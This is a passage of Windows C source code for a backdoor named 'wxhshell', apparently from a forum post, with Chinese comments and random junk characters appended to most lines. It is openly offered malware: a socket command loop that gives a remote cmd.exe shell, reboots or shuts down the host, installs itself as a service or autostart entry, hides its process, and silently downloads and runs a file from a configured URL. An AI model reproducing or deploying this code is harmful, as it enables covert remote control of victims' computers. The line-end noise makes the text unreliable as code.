  case '?': { T;TA7{B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b?X.U}62_  
    break; l e4?jQQ@L  
  } +ZMls [  
  // 安装 @mP]*$00  
  case 'i': { t_^X$pL  
    if(Install()) Fb22p6r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hmt^h(*/2  
    else [epi#]m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1RcSTg  
    break; U1_@F$mq<  
    } P262Q&.}d  
  // 卸载 H,fZ!8(A_)  
  case 'r': { v{zMO:3  
    if(Uninstall()) }/tf>?c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #'D" 'B  
    else eV:9y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C?v[Z]t  
    break;  xw^R@H  
    } zi R5:d3   
  // 显示 wxhshell 所在路径 #6Fez`A  
  case 'p': { RqEH| EUZ  
    char svExeFile[MAX_PATH]; ,mhQ"\+C  
    strcpy(svExeFile,"\n\r"); R'EUV0KX>Y  
      strcat(svExeFile,ExeFile); LEMfG~Czq  
        send(wsh,svExeFile,strlen(svExeFile),0); VVH.2&`I  
    break; Unj.f>U  
    } 00v&lQBW  
  // 重启 ]^':Bmq  
  case 'b': { |F,R&<2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dI&!e#Y  
    if(Boot(REBOOT)) %~L>1ShtU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $vC1 K5sLk  
    else { wO ?+Nh  
    closesocket(wsh); |(5W86C,ju  
    ExitThread(0); m8'C_U^89  
    } ];'v8)Y  
    break; \%PaceH  
    } D]w!2k%V  
  // 关机 fkf1m:Ckh  
  case 'd': { S}APQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JD@J[YY5R  
    if(Boot(SHUTDOWN)) Tc8 un.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  N\:. M  
    else { O5$/55PI  
    closesocket(wsh); &j(+/;A  
    ExitThread(0); Y<1QY?1sd  
    } <N\v)Ug`  
    break; i1H\#;`$  
    } _^Mx>hb4.  
  // 获取shell rSXh;\MfB4  
  case 's': { 'RRmIx2X  
    CmdShell(wsh); -~?J+o+Pr"  
    closesocket(wsh); l @^3Exwt  
    ExitThread(0); 0#w?HCx=  
    break; "Rn 3lj0  
  } ,0x y\u  
  // 退出 JkW9D)6  
  case 'x': { a=M\MZK>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]|`C uc  
    CloseIt(wsh); I%- " |]$  
    break; t]7&\ihZi~  
    } 4`JH&))}  
  // 离开 iw*Nq,(  
  case 'q': { afYc\-"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /|xra8?H[  
    closesocket(wsh); J7r|atSk  
    WSACleanup(); fS~;>n%R  
    exit(1); oc8:r  
    break; =Umw$+fJr  
        } sB;@>NY  
  } 8_T6_jL<  
  } !\&;h  
z9aY]lHY  
  // 提示信息 K~@Mg1R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A&nU]R8S  
} gy&[?m6M=  
  } W5SJ^,d)J  
|V<h=D5W  
  return; 035rPT7-2-  
} v|U(+O  
ZDbc  
// shell模块句柄 aN"DkUYZM  
int CmdShell(SOCKET sock) /yM:| `tT  
{ [Q=dC X9%  
STARTUPINFO si; 4 :U?u  
ZeroMemory(&si,sizeof(si)); _YF%V;X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `FoxP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7Hm3;P.  
PROCESS_INFORMATION ProcessInfo; ^tXJj:wtS  
char cmdline[]="cmd"; ]c! ;L5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .A6(D$ O k  
  return 0; K)J(./  
} =JJL[}a|  
ULQMG'P^D  
// 自身启动模式 hWX% 66  
int StartFromService(void) \Gc+WpS(  
{ Z)jw|T'X  
typedef struct "HPB!)C8(  
{ i&VsW7  
  DWORD ExitStatus; _cXqAo  
  DWORD PebBaseAddress; } \ZaE~  
  DWORD AffinityMask; XLH0 ;+CL{  
  DWORD BasePriority; ]CoeSA`j  
  ULONG UniqueProcessId; &L^+BQ`O?  
  ULONG InheritedFromUniqueProcessId; TY1I=8  
}   PROCESS_BASIC_INFORMATION; O BN2 ) j  
{)-aSywe  
PROCNTQSIP NtQueryInformationProcess; wXsmn1w9  
~R(%D-k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )E~ 79!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eut-U/3:#  
l5"OIq  
  HANDLE             hProcess; =Q.^c.sw  
  PROCESS_BASIC_INFORMATION pbi; u9N 1pZ~  
D:erBMKv,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u,&^&0K,  
  if(NULL == hInst ) return 0; v8y1b%  
L21VS ,#I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #5f-`~^C{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M@5?ZZ4L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f"<O0Qw  
%mZ{4<7  
  if (!NtQueryInformationProcess) return 0; ,v{rCxFtvU  
uvrB5=u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t25,0<iW  
  if(!hProcess) return 0; e d<n9R  
;aw=MV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _'(,  
uuQ(&  
  CloseHandle(hProcess); o93`|yWl  
0zi~p>*nJC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >(;{C<6|^  
if(hProcess==NULL) return 0; /oriW;OF  
;72T|e  
HMODULE hMod; ~-I +9F  
char procName[255]; %HL*c =  
unsigned long cbNeeded; E160A5BTx  
\Cii1\R=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }5hqD BK?  
(vTtDKp@  
  CloseHandle(hProcess); V>b\[(=s  
?:)]h c  
if(strstr(procName,"services")) return 1; // 以服务启动 m&?#;J|B$  
+u3=dj"[  
  return 0; // 注册表启动 h-%R<[  
} nX=$EQiH  
t]YC"%[S  
// 主模块 0|a(]a}V*j  
int StartWxhshell(LPSTR lpCmdLine) '#&os`mQ  
{ {|'E  
  SOCKET wsl; ZSG9t2qlv  
BOOL val=TRUE; 9<>wIl*T`  
  int port=0; `|/<\  
  struct sockaddr_in door; (Tbw3ENz  
MgY0q?.S=  
  if(wscfg.ws_autoins) Install(); #*KNPh  
og kD^   
port=atoi(lpCmdLine); dUQ DO o  
t{.8|d@  
if(port<=0) port=wscfg.ws_port; H XmS|PX  
"OdXY"G  
  WSADATA data; WS`qVL]^&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'L8' '(eZ^  
R.yC(r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i{`;R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GgB,tam{p  
  door.sin_family = AF_INET; zR{W?_cV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xLC3>>P  
  door.sin_port = htons(port); 6E^.7%3  
|fHV2Y`:g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4B^ZnFJ%m  
closesocket(wsl); `-p:vq`  
return 1; fe9LEM8j  
} c|#8T*`C  
eY|  
  if(listen(wsl,2) == INVALID_SOCKET) { lQe%Yh >rl  
closesocket(wsl); sL\L"rQN6  
return 1; lhBT@5Dm9  
} pNKhc#-w  
  Wxhshell(wsl); kYjGj,m"  
  WSACleanup(); /|D*w^ >  
Ym =FgM\  
return 0; 3yB!M  
6e[VgN-s  
} lw< c2 C  
[@5Ytv H  
// 以NT服务方式启动 5.MGaU^Z$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;ShJi  
{ |v$JCU3!A  
DWORD   status = 0; H kQ) n3  
  DWORD   specificError = 0xfffffff; /so8WRu.  
iLkZ"X.'|1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %|^fi8!:|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <OIIoB?t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dF2nEaN0%  
  serviceStatus.dwWin32ExitCode     = 0; 4x 8)gE   
  serviceStatus.dwServiceSpecificExitCode = 0; =fO5cA6Z  
  serviceStatus.dwCheckPoint       = 0; !lj| cT9  
  serviceStatus.dwWaitHint       = 0; PEW=@xj2y  
'LE =6{#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }n4V|f-  
  if (hServiceStatusHandle==0) return; #~<0t(3Q  
#g]vc_V  
status = GetLastError(); 3U7 *>H  
  if (status!=NO_ERROR) T>NDSami  
{ j 4^97  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !;KCU^9  
    serviceStatus.dwCheckPoint       = 0; *tK\R&4,4s  
    serviceStatus.dwWaitHint       = 0; 5) pj]S!]-  
    serviceStatus.dwWin32ExitCode     = status; _t^{a]/H  
    serviceStatus.dwServiceSpecificExitCode = specificError; j4cwI90=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &2{ tF  
    return; 0sfr d  
  } Yi$vg  
61)-cVC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *q-['"f  
  serviceStatus.dwCheckPoint       = 0; UOxkO  
  serviceStatus.dwWaitHint       = 0; LdL/399<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |bO"_U  
} d'G0m9u2  
6jC`8l:  
// 处理NT服务事件,比如:启动、停止 K|:@Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j,"@?Wt7  
{ e,Uo#T6J  
switch(fdwControl) pUV/ Ul]  
{ K*X_FJ  
case SERVICE_CONTROL_STOP: P_Gw-`L5T  
  serviceStatus.dwWin32ExitCode = 0; RT.D"WvT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -UOj>{-  
  serviceStatus.dwCheckPoint   = 0; d~JKH&x<  
  serviceStatus.dwWaitHint     = 0; MP4z-4Y  
  { ZHm7Isa1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }M H0L#Tu  
  } )|DM~%$QM  
  return; `s8{C b=}1  
case SERVICE_CONTROL_PAUSE: nv~%#|v_W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8[E!E)4M  
  break; r}mbXvn  
case SERVICE_CONTROL_CONTINUE: =9fajRFTt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f (F)1  
  break; U qFv}VsnF  
case SERVICE_CONTROL_INTERROGATE: "saUai4z  
  break; \xnWciQ#{  
}; Is{KN!Hw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5*,f Fib  
} L 8dc(Z%v  
-6n K<e`  
// 标准应用程序主函数 ,I%g|'2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8q,6}mV  
{ <c qbUL  
A*}.EClH  
// 获取操作系统版本 X;"Sx#U  
OsIsNt=GetOsVer(); >JC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {ZI)nQ{  
^]W<X"H+Z  
  // 从命令行安装 y&?6FY  
  if(strpbrk(lpCmdLine,"iI")) Install(); SBIj<Yy]  
Zw ^kmSL"  
  // 下载执行文件 !AKg m'Nw  
if(wscfg.ws_downexe) { gT#&"aP5S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tm#nUw  
  WinExec(wscfg.ws_filenam,SW_HIDE); /Q2mMSK1h  
} Q=/</|  
%\H|B0  
if(!OsIsNt) { Cif>7]M  
// 如果时win9x,隐藏进程并且设置为注册表启动 _U |>b>  
HideProc(); o .qf _A  
StartWxhshell(lpCmdLine); oBzfbg8p  
} H\:lxR^  
else uFPF!Ern  
  if(StartFromService()) 7 D^gMN%p  
  // 以服务方式启动 [`c^ 4 E  
  StartServiceCtrlDispatcher(DispatchTable); zY"1drE>G  
else /qy-qUh3h  
  // 普通方式启动 pJt,9e6  
  StartWxhshell(lpCmdLine); JSTuXW  
O"c;|zCc>  
return 0; *U]V@;XF  
}
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只看该作者 1 发表于: 2006-10-10
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